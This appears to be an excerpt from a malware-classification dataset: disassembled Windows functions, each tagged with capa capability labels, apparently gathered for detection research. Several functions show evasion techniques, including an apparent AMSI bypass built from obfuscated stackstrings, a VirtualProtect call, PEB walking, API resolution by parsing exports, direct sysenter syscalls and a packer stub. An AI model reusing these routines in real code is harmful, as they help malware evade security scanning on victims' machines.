joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x7c
mov dword [esp], str.c:windows_system32_amsi.dll
call dword [0x4400cc]
sub esp, 4
test eax, eax
je 0x4027e8
mov ebx, eax
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x69736d41
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x2c], 0x6e616353
mov dword [esp + 0x30], 0x69727453
mov dword [esp + 0x34], 0x676e
mov dword [esp + 0x38], 0xf
mov dword [esp + 0x3c], 2
mov dword [esp + 0x40], 6
mov dword [esp + 0x44], 0x54
mov dword [esp + 0x48], 0x1b
mov dword [esp + 0x4c], 0x50
mov dword [esp + 0x50], 0x79
mov dword [esp + 0x54], 0x2d
mov dword [esp + 0x58], 0x1b
mov dword [esp + 0x5c], 0x31
mov dword [esp + 0x60], 0x5a
mov dword [esp + 0x64], 0x54
mov dword [esp + 0x68], 0x2d
mov dword [esp + 0x6c], 0x7d
call fcn.00403b10
mov esi, eax
test eax, eax
je 0x4027e8
mov ecx, 0x439020
lea edi, [esp + 0x24]
mov dword [esp + 4], esi
mov eax, 0x439050
mov edx, ecx
sub eax, ecx
mov dword [esp + 0x10], edi
sub edx, 0x439050
cmp ecx, 0x439050
mov dword [esp + 0xc], 4
cmovae eax, edx
mov dword [esp], 0xffffffff
mov dword [esp + 8], eax
mov ebp, eax
call fcn.00402c20
test eax, eax
js 0x4027f4
mov dword [esp + 8], ebp
mov dword [esp + 4], 0x439020
mov dword [esp], esi
call fcn.00402df0
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], ebp
mov dword [esp + 4], esi
mov dword [esp], 0xffffffff
call fcn.00402c20
test eax, eax
js 0x4027f4
lea eax, [esp + 0x28]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 0x28], 0x69736d41
mov dword [esp + 0x2c], 0x6e616353
mov dword [esp + 0x30], 0x66667542
mov dword [esp + 0x34], 0x7265
mov dword [esp + 0x38], 0x4a
mov dword [esp + 0x3c], 0x32
mov dword [esp + 0x40], 0x74
mov dword [esp + 0x44], 6
mov dword [esp + 0x48], 0x12
mov dword [esp + 0x4c], 0x43
mov dword [esp + 0x50], 0x2d
mov dword [esp + 0x54], 0x3d
mov dword [esp + 0x58], 0x55
mov dword [esp + 0x5c], 0xb
mov dword [esp + 0x60], 0x64
mov dword [esp + 0x64], 0x64
mov dword [esp + 0x68], 0x59
mov dword [esp + 0x6c], 0x69
call fcn.00403b10
mov ebx, eax
test eax, eax
je 0x4027f4
mov edx, 0x439030
mov eax, 0x439040
mov dword [esp + 0x10], edi
mov esi, edx
sub eax, edx
mov dword [esp + 4], ebx
sub esi, 0x439040
cmp edx, 0x439040
mov dword [esp + 0xc], 4
cmovb esi, eax
mov dword [esp], 0xffffffff
mov dword [esp + 8], esi
call fcn.00402c20
test eax, eax
js 0x4027f4
mov dword [esp + 8], esi
mov dword [esp + 4], 0x439030
mov dword [esp], ebx
call fcn.00402df0
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], 0xffffffff
call fcn.00402c20
test eax, eax
js 0x4027f4
call fcn.004022f0
add esp, 0x7c
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x7c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.004022f0
mov eax, 0xffffffff
jmp 0x4027da
Function at 0x402800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
mov eax, 0x402d98
mov edx, 0x402d88
push ebx
sub esp, 0x64
cmp byte [section..bss], 0
mov dword [esp], 0x43c084
cmovne eax, edx
mov dword [0x440008], eax
call fcn.00403ab0
test eax, eax
je 0x40297b
mov esi, eax
xor ebx, ebx
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebx*4 + section..data]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.00403b10
test eax, eax
jne 0x402863
jmp 0x40296e
add eax, 1
cmp byte [eax], 0xb8
jne 0x402860
movzx eax, word [eax + 1]
mov word [ebx + ebx + 0x44000c], ax
cmp ax, 0xffff
je 0x40297b
add ebx, 1
cmp ebx, 0xe
jne 0x402840
mov dword [esp], 0x43c0c0
call fcn.00403ab0
test eax, eax
je 0x40297b
lea ebx, [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 0x18], 0x74726956
mov dword [esp + 0x1c], 0x506c6175
mov dword [esp + 0x20], 0x65746f72
mov dword [esp + 0x24], 0x7463
mov dword [esp + 0x28], 0x11
mov dword [esp + 0x2c], 5
mov dword [esp + 0x30], 6
mov dword [esp + 0x34], 0x69
mov dword [esp + 0x38], 0x5b
mov dword [esp + 0x3c], 0x75
mov dword [esp + 0x40], 0x5a
mov dword [esp + 0x44], 0x65
mov dword [esp + 0x48], 6
mov dword [esp + 0x4c], 0x30
mov dword [esp + 0x50], 0x69
mov dword [esp + 0x54], 0x3d
mov dword [esp + 0x58], 0x59
mov dword [esp + 0x5c], 0x69
call fcn.00403b10
test eax, eax
je 0x40297b
mov ecx, dword [0x440008]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
lea edx, [ecx + 1]
mov dword [esp + 4], 2
mov dword [esp], edx
call eax
sub esp, 0x10
cmp eax, 1
sbb eax, eax
add esp, 0x64
pop ebx
pop esi
ret
mov eax, 0xffffffff
mov word [ebx + ebx + 0x44000c], ax
mov eax, 0xffffffff
jmp 0x402968

Function at 0x402da3
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x403ab0
Capabilities:
Access peb ldr_data

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov edi, dword [esp + 0x20]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x14]
test edi, edi
je 0x403af5
lea esi, [eax + 0x14]
cmp esi, ebx
jne 0x403ade
jmp 0x403b00
mov ebx, dword [ebx]
cmp esi, ebx
je 0x403b00
mov dword [esp + 4], edi
mov eax, dword [ebx + 0x20]
mov dword [esp], eax
call fcn.00402f80
test eax, eax
jne 0x403ad8
cmp esi, ebx
je 0x403b00
mov eax, dword [ebx + 0x10]
add esp, 0x10
pop ebx
pop esi
pop edi
ret
xor eax, eax
jmp 0x403af8
Function at 0x403b10
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x14c
mov esi, dword [esp + 0x160]
mov ecx, dword [esi + 0x3c]
add ecx, esi
mov ebp, dword [ecx + 0x78]
add ebp, esi
mov eax, dword [ebp + 0x1c]
add eax, esi
cmp dword [esp + 0x164], 0xfffe
mov dword [esp + 0x14], eax
jbe 0x403d08
mov eax, dword [ebp + 0x24]
mov edi, dword [ebp + 0x20]
xor ebx, ebx
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x18]
add edi, esi
test eax, eax
je 0x403d60
mov eax, edi
mov dword [esp + 0x1c], ecx
mov edi, ebx
mov ebx, eax
jmp 0x403b7e
mov eax, dword [ebp + 0x18]
add edi, 1
cmp edi, eax
jae 0x403d20
mov eax, dword [esp + 0x164]
mov dword [esp + 4], eax
mov eax, dword [ebx + edi*4]
add eax, esi
mov dword [esp], eax
call fcn.00402ec0
test eax, eax
jne 0x403b70
mov ecx, dword [esp + 0x1c]
mov eax, dword [ebp + 0x18]
mov ebx, edi
cmp ebx, eax
je 0x403d60
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
lea ebx, [eax + ebx*2]
add ebx, esi
movzx eax, word [ebx]
mov edx, dword [edi + eax*4]
add edx, esi
mov eax, edx
cmp edx, ebp
jb 0x403cfa
add ebp, dword [ecx + 0x7c]
cmp ebp, edx
jb 0x403cfa
cmp byte [edx], 0x2e
je 0x403d64
xor edx, edx
mov ecx, edx
add edx, 1
cmp byte [eax + edx], 0x2e
jne 0x403be0
add ecx, 2
lea edi, [esp + 0x3c]
mov dword [esp + 8], ecx
lea ebp, [esp + 0x24]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
call fcn.00402df0
mov ecx, dword [esp + 0x18]
mov dword [esp + 8], 4
mov dword [esp + 4], ebp
add ecx, edi
mov dword [esp + 0x24], 0x6c6c64
mov dword [esp], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 7
mov dword [esp + 0x30], 0x10
mov dword [esp + 0x34], 0x10
mov dword [esp + 0x38], 0x55
call fcn.00402df0
mov dword [esp + 4], 0x43c214
mov dword [esp], edi
call fcn.00402ec0
mov edx, dword [esp + 0x1c]
test eax, eax
jne 0x403d30
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x14]
lea ebp, [eax + 0x14]
cmp ebp, edi
je 0x403d60
mov dword [esp + 0x18], ebx
mov ebx, edi
mov edi, esi
mov esi, edx
jmp 0x403caa
mov ebx, dword [ebx]
cmp ebp, ebx
je 0x403d60
mov dword [esp + 4], 0x43c224
mov eax, dword [ebx + 0x20]
mov dword [esp], eax
call fcn.00402f80
test eax, eax
jne 0x403ca0
mov edx, esi
mov esi, edi
mov edi, ebx
mov ebx, dword [esp + 0x18]
cmp edi, ebp
je 0x403d60
mov edi, dword [edi + 0x10]
test edi, edi
je 0x403d60
movzx eax, word [ebx]
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
mov dword [esp], edi
lea eax, [edx + eax + 1]
add esi, eax
mov dword [esp + 4], esi
call fcn.00403b10
add esp, 0x14c
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [esp + 0x164]
mov eax, dword [eax + ecx*4]
add esp, 0x14c
pop ebx
add eax, esi
pop esi
pop edi
pop ebp
ret
mov ecx, dword [esp + 0x1c]
mov ebx, edi
jmp 0x403ba3
mov dword [esp], edi
mov ecx, ebp
mov dword [esp + 0x18], edx
call fcn.0040afb0
sub esp, 4
mov dword [esp], ebp
call fcn.0040a4b0
mov ecx, ebp
mov edi, eax
call fcn.0040b080
test edi, edi
mov edx, dword [esp + 0x18]
jne 0x403cde
nop
xor eax, eax
jmp 0x403cfa
mov ecx, 1
xor edx, edx
jmp 0x403bee
Function at 0x40b940
Capabilities:
Encode data using xor

Disassembly:
test ecx, ecx
je 0x40b980
push edi
mov edi, ecx
push esi
mov esi, edx
push ebx
mov ebx, eax
movzx eax, byte [edx]
xor eax, 0xffffffc0
mov byte [ebx], al
mov eax, 1
cmp ecx, 1
je 0x40b979
nop
mov ecx, eax
movzx edx, byte [esi + eax*2]
and ecx, 0xf
xor dl, byte [ecx + 0x43c670]
mov byte [ebx + eax], dl
add eax, 1
cmp edi, eax
jne 0x40b960
pop ebx
pop esi
pop edi
ret
ret
Function at 0x4080ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x4231a4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push dword [0x423b78]
mov esi, dword [ebp + 8]
call fcn.00408082
push 0xc
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00403787
add esp, 0x10
xor esi, esi
call fcn.00408068
movzx ecx, byte [ebp + esi - 0x10]
xor eax, ecx
mov byte [ebp + esi - 0x10], al
movzx eax, al
push eax
call fcn.00408142
inc esi
pop ecx
cmp esi, 0xc
jl 0x4080ea
cmp dword [0x423b74], 0
movzx ecx, byte [ebp - 5]
pop esi
je 0x408129
movzx eax, byte [0x426c67]
cmp cx, ax
je 0x408132
or eax, 0xffffffff
jmp 0x408134
movzx eax, byte [0x426c6d]
jmp 0x40811f
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408980
mov esp, ebp
pop ebp
ret

Function at 0x408142
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [0x426350]
mov eax, ecx
xor eax, dword [esp + 4]
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x4263a0]
movzx eax, cl
add eax, dword [0x426354]
imul eax, eax, 0x8088405
mov dword [0x426350], ecx
mov ecx, dword [0x426358]
inc eax
mov dword [0x426354], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4263a0]
mov dword [0x426358], ecx
ret

Function at 0x93e05f
Capabilities:
Packed with generic packer

Disassembly:
pushal
push 0x1383d4
push section.packerBY
push 0x93e4e3
call fcn.0093e4a8
cld
mov esi, 0x93c000
mov ecx, 4
sub ecx, esi
cmp esi, 0x93c5fa
ja 0x93e0a7
lodsb al, byte [esi]
add al, 0x18
sub al, 2
jb 0x93e09d
cmp al, 0x25
jne 0x93e081
mov al, byte [esi]
and al, 0xf0
cmp al, 0x80
jne 0x93e081
inc esi
lea edi, [esi + ecx]
sub dword [esi], edi
add esi, 4
jmp 0x93e081
mov edx, 0x400000
lea esi, [edx + 0x539000]
mov eax, dword [esi + 0xc]
test eax, eax
je 0x93e10a
add eax, edx
mov edi, dword [esi + 0x10]
mov ebx, dword [esi]
test ebx, ebx
jne 0x93e0c6
mov ebx, edi
add ebx, edx
add edi, edx
push edx
push edi
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
pop edi
pop edx
test eax, eax
je 0x93e108
mov ecx, eax
mov eax, dword [ebx]
test eax, eax
je 0x93e103
btr eax, 0x1f
jb 0x93e0eb
lea eax, [eax + edx + 2]
push ecx
push edx
push edi
push eax
push ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
pop edi
pop edx
pop ecx
test eax, eax
je 0x93e108
stosd dword es:[edi], eax
add ebx, 4
jmp 0x93e0db
add esi, 0x14
jmp 0x93e0b2
popal
ret
popal
jmp 0x401840
Function at 0x406ebd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x489ab0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 0x64], 0
jne 0x406f7d
lea ecx, [ebp - 0x14]
call fcn.004015f0
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x14]
call fcn.0045a82b
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
call fcn.0045a87a
push 0x4b24f8
lea ecx, [ebp - 0x14]
call fcn.0045a7d7
lea ecx, [ebp - 0x14]
call fcn.00401650
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x406f64
push 0x6a
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x406f64
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_CopyIcon]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x64], eax
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0045a3fb
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x406f8b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x114], ecx
lea eax, [ebp - 8]
push eax
push 1
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x406ff8
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4071f6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 0x214], ecx
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x4b2810
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x20
ja 0x407334
lea edx, [ebp - 0x20c]
push edx
push 0x4b2818
push OleUIInsertObjectA
mov ecx, dword [ebp - 0x214]
call fcn.00406f8b
test eax, eax
jne 0x407334
push 0x4b2820
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x20c]
push edx
push OleUIInsertObjectA
mov ecx, dword [ebp - 0x214]
call fcn.00406f8b
test eax, eax
jne 0x407334
push 0x4b2834
lea eax, [ebp - 0x20c]
push eax
call fcn.00407370
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jne 0x4072f4
push 0x4b283c
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00443590
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jne 0x4072e9
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x20d]
mov dword [ebp - 0x210], eax
jmp 0x4072f2
mov ecx, dword [ebp - 0x210]
mov byte [ecx], 0
jmp 0x4072fd
mov edx, dword [ebp - 0x210]
mov byte [edx], 0
push 0x4b2840
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x418900
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48b341
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00406080
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.004015f0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.004015f0
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x10]
mov dword [eax], method.CCommandLineInfo.virtual_0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x20], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x18], 1
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], 1
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0xc], 1
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x10], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 1
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x1c], 1
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x28], 1
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x40], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x24], 0x20
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.0045a534
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.0045a7fe
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x41b22c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov dword [ebp - 4], 3
lea eax, [ebp - 8]
push eax
push 1
push 0
push 0x4b31a8
push reloc.oledlg.dll_OleUIAddVerbMenuA
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b2ac
mov dword [ebp - 0x90], 0x80
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0x8c]
push eax
push 0
push 0x4b31c0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b2a2
push 0xa
push 0
lea edx, [ebp - 0x88]
push edx
call fcn.0044461b
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4560b0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.004443d0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x45617b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x45617b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x45612e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x456139
or bh, 8
and edi, 0x8000000
je 0x456154
mov eax, dword [0x4933fc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x45617b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456550
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x45657b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x45659f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x4565ba
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x45b957
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x45b98f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045a8a2
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045a87a
jmp 0x45b99b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4